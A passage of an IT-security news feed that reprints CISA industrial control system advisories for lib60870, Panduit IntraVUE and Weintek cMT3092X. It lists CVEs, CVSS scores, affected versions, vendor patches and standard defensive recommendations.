<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ automation recommends users update to version 2.4.1 or later. Documentation can be found at https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv.<br><a href="https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv">https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Lars Tray reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this (these) vulnerability(ies).</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Panduit IntraVUE]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.
The following versions of Panduit IntraVUE are a...]]></description>
<link>https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.</strong></p>
<p>The following versions of Panduit IntraVUE are affected:</p>
<ul>
<li>IntraVUE &lt;=3.2.1a14 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 10</td>
<td>Pronetiqs</td>
<td>Panduit IntraVUE</td>
<td>Plaintext Storage of a Password, Unintended Proxy or Intermediary ('Confused Deputy'), Exposure of Sensitive System Information to an Unauthorized Control Sphere, Inadequate Encryption Strength</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Information Technology, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Netherlands</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-40430</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE Versions 3.2.1a14 and prior have a plaintext storage of a password vulnerability that could expose cleartext credentials through the API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-40430">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-42933</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an unintended proxy or intermediary vulnerability which could allow an attacker to use an active proxy, which would bypass OT segmentation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-42933">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/441.html">CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-44955</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could allow for asset discovery by unauthenticated users.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-44955">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50044</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an inadequate encryption strength vulnerability which could allow an attacker to steal admin credentials via weak hash or a pass-the-hash attack.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50044">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/326.html">CWE-326 Inadequate Encryption Strength</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28698</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could expose the underlying host/share filesystem.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28698">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Phlebas of Lumintel reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weintek cMT3092X]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.
The following versions of Weintek cMT3092X are affected:

cMT3092X firmware]]></description>
<link>https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.</strong></p>
<p>The following versions of Weintek cMT3092X are affected:</p>
<ul>
<li>cMT3092X firmware &lt;20210218 </li>
<li>EasyWeb &lt;v2.1.20</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.8</td>
<td>Weintek</td>
<td>Weintek cMT3092X</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Taiwan</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60134</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60134">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/784.html">CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61892</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61892">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/732.html">CWE-732 Incorrect Permission Assignment for Critical Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61886</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI stores user account passwords in plaintext.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61886">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
